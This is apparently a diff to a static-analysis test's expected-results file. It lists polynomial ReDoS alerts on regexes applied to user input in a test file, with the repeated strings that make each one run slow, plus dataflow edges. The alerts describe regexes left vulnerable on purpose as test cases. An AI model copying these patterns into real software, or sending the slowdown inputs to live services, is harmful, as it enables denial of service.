+| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '?'. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:33:2:33:56 | tainted ... e(.)*/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<style="!"' and with many repetitions of 'style="!"'. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<href="!"' and with many repetitions of 'href="!"'. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:40:2:40:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:43:2:43:78 | tainted ... +))?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t+\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:48:2:48:37 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:50:2:50:21 | /Y.*X/.test(tainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:51:2:51:33 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'YH'. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:52:3:52:29 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:52:12:52:13 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'Y'. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'B'. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:55:3:55:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:56:2:56:29 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:57:3:57:32 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:58:3:58:28 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:59:3:59:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:62:3:62:24 | /^Y*Y*X ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'Y'. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:63:3:63:28 | /^(K\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'Y'. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:64:3:64:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooY' and with many repetitions of 'Y'. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:65:3:65:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooY' and with many repetitions of 'K'. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:66:3:66:26 | /(K\|Y). ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:67:3:67:25 | /[^Y].* ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'Z'. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:69:3:69:26 | /[^Y].* ... q.body) | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'X'. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value |
+| polynomial-redos.js:71:2:71:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:73:2:73:60 | tainted ... LWP7")) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'MSIE 0.0' and with many repetitions of '0'. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:77:2:77:22 | tainted ... /Y.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:80:2:80:21 | tainted.match(/a*b/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:81:2:81:22 | tainted ... /cc*D/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:86:2:86:32 | tainted ... ab)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'ab' and with many repetitions of 'ab'. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:88:2:88:22 | tainted ... /aa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:89:2:89:24 | tainted ... a*a*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:90:2:90:23 | tainted ... \\wa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of 'a'. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:94:2:94:40 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:95:2:95:33 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '2'. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:96:2:96:33 | tainted ... *\\d*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:98:2:98:32 | tainted ... ab)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'abab' and with many repetitions of 'abab'. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:100:2:100:22 | tainted ... /aa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:101:2:101:21 | tainted.match(/a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:102:2:102:24 | tainted ... a+a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:103:2:103:23 | tainted ... \\wa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of 'a'. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:104:2:104:24 | tainted ... +b+c+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:107:2:107:40 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:108:2:108:33 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of '2'. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:109:2:109:33 | tainted ... +\\d+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:111:2:111:22 | tainted ... /\\s*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:112:2:112:22 | tainted ... /\\s+$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:114:2:114:27 | tainted ... 5\\w*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '5' and with many repetitions of '5'. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '/*' and with many repetitions of 'a/*'. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:130:2:130:31 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:130:2:130:9 | modified | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:130:21:130:22 | c+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:133:2:133:32 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:133:2:133:10 | modified2 | This $@ that depends on $@ may run slow on strings starting with 'f' and with many repetitions of 'f'. | polynomial-redos.js:133:22:133:23 | f+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:136:5:136:35 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:136:5:136:13 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:136:25:136:26 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:138:5:138:326 | tainted ... )C.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:138:5:138:11 | tainted | This $@ that depends on $@ may run slow on strings starting with 'AAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC' and with many repetitions of 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC'. | polynomial-redos.js:138:322:138:323 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:140:2:140:48 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:140:2:140:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:140:33:140:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:141:2:141:59 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:141:2:141:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:141:33:141:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:142:2:142:47 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:142:2:142:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:142:33:142:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
 edges
 | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | provenance |  |
 | lib/indirect.js:1:32:1:32 | x | lib/indirect.js:2:16:2:16 | x | provenance |  |
@@ -79,7 +181,7 @@ edges
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:43:2:43:8 | tainted | provenance |  |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:43:2:43:8 | tainted | provenance |  |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:44:2:44:8 | tainted | provenance |  |
-| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:46:2:46:8 | tainted | provenance |  |
+| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:46:9:46:15 | tainted | provenance |  |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:47:2:47:8 | tainted | provenance |  |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:48:2:48:8 | tainted | provenance |  |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:48:2:48:8 | tainted | provenance |  |
@@ -231,8 +333,8 @@ edges
 | polynomial-redos.js:41:2:41:8 | tainted | polynomial-redos.js:43:2:43:8 | tainted | provenance |  |
 | polynomial-redos.js:41:2:41:8 | tainted | polynomial-redos.js:43:2:43:8 | tainted | provenance |  |
 | polynomial-redos.js:43:2:43:8 | tainted | polynomial-redos.js:44:2:44:8 | tainted | provenance |  |
-| polynomial-redos.js:44:2:44:8 | tainted | polynomial-redos.js:46:2:46:8 | tainted | provenance |  |
-| polynomial-redos.js:46:2:46:8 | tainted | polynomial-redos.js:47:2:47:8 | tainted | provenance |  |
+| polynomial-redos.js:44:2:44:8 | tainted | polynomial-redos.js:46:9:46:15 | tainted | provenance |  |
+| polynomial-redos.js:46:9:46:15 | tainted | polynomial-redos.js:47:2:47:8 | tainted | provenance |  |
 | polynomial-redos.js:47:2:47:8 | tainted | polynomial-redos.js:48:2:48:8 | tainted | provenance |  |
 | polynomial-redos.js:47:2:47:8 | tainted | polynomial-redos.js:48:2:48:8 | tainted | provenance |  |
 | polynomial-redos.js:48:2:48:8 | tainted | polynomial-redos.js:50:14:50:20 | tainted | provenance |  |
@@ -329,10 +431,10 @@ edges
 | polynomial-redos.js:114:2:114:8 | tainted | polynomial-redos.js:116:2:116:8 | tainted | provenance |  |
 | polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:118:2:118:8 | tainted | provenance |  |
 | polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:118:2:118:8 | tainted | provenance |  |
-| polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:120:2:125:3 | (functi ...  OK\\n\\t}) [tainted] | provenance |  |
+| polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:120:2:125:3 | (functi ... os]\\n\\t}) [tainted] | provenance |  |
 | polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:121:18:121:24 | tainted | provenance |  |
 | polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:127:2:127:8 | tainted | provenance |  |
-| polynomial-redos.js:120:2:125:3 | (functi ...  OK\\n\\t}) [tainted] | polynomial-redos.js:121:18:121:24 | tainted | provenance |  |
+| polynomial-redos.js:120:2:125:3 | (functi ... os]\\n\\t}) [tainted] | polynomial-redos.js:121:18:121:24 | tainted | provenance |  |
 | polynomial-redos.js:121:7:121:55 | replaced | polynomial-redos.js:123:13:123:20 | replaced | provenance |  |
 | polynomial-redos.js:121:18:121:24 | tainted | polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | provenance |  |
 | polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | polynomial-redos.js:121:7:121:55 | replaced | provenance |  |
@@ -455,7 +557,7 @@ nodes
 | polynomial-redos.js:43:2:43:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:43:2:43:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:44:2:44:8 | tainted | semmle.label | tainted |
-| polynomial-redos.js:46:2:46:8 | tainted | semmle.label | tainted |
+| polynomial-redos.js:46:9:46:15 | tainted | semmle.label | tainted |
 | polynomial-redos.js:47:2:47:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:48:2:48:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:48:2:48:8 | tainted | semmle.label | tainted |
@@ -555,7 +657,7 @@ nodes
 | polynomial-redos.js:116:2:116:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:118:2:118:8 | tainted | semmle.label | tainted |
 | polynomial-redos.js:118:2:118:8 | tainted | semmle.label | tainted |
-| polynomial-redos.js:120:2:125:3 | (functi ...  OK\\n\\t}) [tainted] | semmle.label | (functi ...  OK\\n\\t}) [tainted] |
+| polynomial-redos.js:120:2:125:3 | (functi ... os]\\n\\t}) [tainted] | semmle.label | (functi ... os]\\n\\t}) [tainted] |
 | polynomial-redos.js:121:7:121:55 | replaced | semmle.label | replaced |
